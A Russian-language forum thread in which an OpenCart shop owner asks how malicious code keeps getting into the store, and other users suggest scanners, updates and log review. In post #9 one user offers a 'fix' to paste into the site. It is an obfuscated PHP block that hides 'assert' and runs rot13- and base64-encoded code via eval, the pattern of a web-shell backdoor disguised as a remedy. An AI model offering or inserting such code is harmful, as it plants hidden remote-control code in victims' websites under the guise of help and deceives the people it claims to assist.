Помощник
 |
|
|
|
|
Сообщение сайта
|
 В мгазин Opencart внедряют вредоносный код, Как защититься от взлома? |
maxmer
|
Сообщение
#1
|
||
 Бывалый  Группа: User Сообщений: 342 Регистрация: 1.10.2011 Поблагодарили: 95 раз Репутация:  25 
 |
|
||
 |
|
||
web2033
|
 17.6.2015, 21:13;
Ответить: web2033
Сообщение
#2
|
|
Новичок Группа: Viewer Сообщений: 1 Регистрация: 18.5.2015 Поблагодарили: 1 раз Репутация: 0
|
Попробуйте этот сервис:
AI-Bolit — это бесплатный сканер вирусов, хакерских шеллов, бэкдоров, спам-рассыльщиков и других вредоносных скриптов на хостинге. |
|
|
|
|
maxmer
|
Сообщение
#3
|
|
Бывалый Группа: User Сообщений: 342 Регистрация: 1.10.2011 Поблагодарили: 95 раз Репутация: 25
|
AI-Bolit к сожалению ничего не находит. Всякие онлайн-проверки на вирусы тоже молчат. Но как-то же заливают гадость?
-------------------- |
|
|
|
|
Maksimus
|
18.6.2015, 18:17;
Ответить: Maksimus
Сообщение
#4
|
|
Частый гость Группа: User Сообщений: 89 Регистрация: 22.8.2013 Поблагодарили: 17 раз Репутация: 6
|
Добрый день! У меня была такая же проблема на этой платформе,попробуйте воспользоваться этим скриптом от яндекса http://yandex.ru/promo/manul#howtouse
Сообщение отредактировал Maksimus - 18.6.2015, 18:18 |
|
|
|
|
maxmer
|
Сообщение
#5
|
|
Бывалый Группа: User Сообщений: 342 Регистрация: 1.10.2011 Поблагодарили: 95 раз Репутация: 25
|
Maksimus, спасибо. Пробовал тоже этот скрипт. К сожалению ничего не нашел. Может есть какая-нибудь уязвимость в этой версии Opencart?
-------------------- |
|
|
|
|
Sev_free
|
21.6.2015, 11:31;
Ответить: Sev_free
Сообщение
#6
|
|
Частый гость Группа: User Сообщений: 97 Регистрация: 19.6.2015 Из: Севастополь Поблагодарили: 18 раз Репутация: 2
|
maxmer, пришли в личку ссылку на сайт, погляжу. Скорее всего тебе шелл залили, либо нашли где не фильтруется запрос в бд.
-------------------- |
|
|
|
|
Feax
|
26.6.2015, 9:58;
Ответить: Feax
Сообщение
#7
|
|
Новичок Группа: Viewer Сообщений: 3 Регистрация: 9.2.2011 Поблагодарили: 0 раз Репутация: 1
|
Антивирусом вычищать вирусы - это борьба со следствием, чтобы избавиться от причины, нужно либо обновляться на самую свежую версию движка, либо смотреть логи доступа к сайту, искать в них способ взлома и закрывать дыру.
|
|
|
|
|
lawebo
|
26.6.2015, 22:54;
Ответить: lawebo
Сообщение
#8
|
|
Новичок Группа: Viewer Сообщений: 1 Регистрация: 21.6.2015 Поблагодарили: 0 раз Репутация: 0
|
скорей всего шелл, можно пройтись вручную по файлам поискать недавно измененые или которых явно не должно быть...
было похожее на опенкарте в футер код вставляли, нашел левый файлик в image/cache/ |
|
|
|
|
Sev_free
|
26.6.2015, 23:47;
Ответить: Sev_free
Сообщение
#9
|
|
Частый гость Группа: User Сообщений: 97 Регистрация: 19.6.2015 Из: Севастополь Поблагодарили: 18 раз Репутация: 2
|
Оберни с заменой :
Код if (isset($ibv){ break; КОД }; КОД замени на : Код //###=i=### error_reporting(0); $strings = "as";$strings .= "sert"; @$strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUgcMvtuMJ1jqUxbWS9QG09YFHIo VzAfnJIhqS9wnTIwnlWqXFyxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGgcMvtunKAmMKDbWTAs J lWVISEDK0SQD0IDIS9QFRSFH0IHVy0cXKgcMvujpzIaK21uqTAbXPVuYvS1VvkznJkyK2qyqS9wo250M J 50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFy7WTZjCFWIIRLgBPV7sJIfp2I7WTZjCFW3nJ 5 xo3qmYGRlAGRvB319MJkmMKfxLmN9WTAsJlWVISEDK0SQD0IDIS9QFRSFH0IHVy07sJyzXTM1ozA0nJ9 h K2I4nKA0pltvL3IloS9cozy0VvxcrlEwZG1wqKWfK2yhnKDbVzu0qUN6Yl8kZQxhZwZ2YwtkYwRjZF9a M KDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH 1 EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYv E wZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvAGxjZJSwZwt4MGD l AGR5AGV0MGt2Z2MzLmtjZ2SuZQDvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISI E IAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7L3IloS9mMKEipUDbW T ZkYQDlYTMuoUAyXGgwqKWfK3AyqT9jqPtxLmRfZGx5ZGZfqUW1MFx7WTyvqvN9VPOwqKWfK2I4MJZbWT Z kXGgwqKWfK2Afo3AyXPEwZFx7sJIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXG09ZFy7WTy v qvN9VTMcoTIsM2I0K2AioaEyoaEmXPWbqUEjBv8iZGN5YwVmAv44ZF4kZQRiM2I0YaObpQ9xCFVhqKWf M J5wo2EyXPEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqXF4vWaH9V v 51pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXF4vWzZ9Vv4xLmNhVvMcCGRznKN9Vv 4 xK1ASHyMSHyfvHxIAG1ESK0SRESVvKF4vWzt9Vv5gMQHbVwH5ZQSuLmV4BTH0ZwHkBGHlATH4AwAzMzZ 4 ZQAuLGN0Vv4xK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKF4xK1AS H yMSHyfvFSEHHS9IH0IFK0SUEH5HVy0hWTZjYvVkVvxcB30tnJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tW T yvqwftsFOcMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVwuvMzEwMJ Z 4VvxtrlONLKAmMKW0XPEsHxIEIHIGISfvLlWqXGftsK0="));')); //###=i=### И не парься) А так поднимай логи ищи шелл) П.С. А так помочь можно только при наличии ссылки на сайт и к бекапу файлов. Сообщение отредактировал Sev_free - 26.6.2015, 23:53 -------------------- |
|
|
|
|
SeBun
|
26.9.2015, 13:44;
Ответить: SeBun
Сообщение
#10
|
 Новичок Группа: User Сообщений: 15 Регистрация: 23.12.2008 Поблагодарили: 3 раза Репутация: 0
|
maxmer, у вас случайно сайт не на timeweb? От движка этот взлом не зависит, заражаются все index.php на всех сайтах аккаунта. Хостер свою вину не признает. Вот тема. Пока разбираюсь. Восстановил все сайты из бекапа, пока полет нормальный. Анализирую зараженные в поисках шелла.
|
|
|
|
|
|
Похожие темы
| Тема | Ответов | Автор | Просмотров | Последний ответ | |
|---|---|---|---|---|---|
 |
Специалист OpenCart 1.5 / 2.x / 3.x Большой опыт разработки магазинов / сайтов услуг / доработка |
0 | nash | 897 | 17.4.2021, 12:14 автор: nash |
|
 Код Метрики стал быстрее!?Не прошло и 5 лет =) |
15 | regem | 942 | 15.4.2021, 19:10 автор: Wachowski |
|
Техподдержка сайтов на движках Joomla, Netcat, Opencart |
3 | 54web | 1289 | 24.3.2021, 20:36 автор: kikimora17 |
|
Связать корзину Opencart с корзиной Digiseller | 1 | serhio11 | 624 | 27.2.2021, 23:21 автор: yurikRus |
|
Почистить код на сайте | 1 | Timka | 514 | 2.1.2021, 1:13 автор: 0pium |
|
Текстовая версия | Сейчас: 21.4.2021, 14:42 |
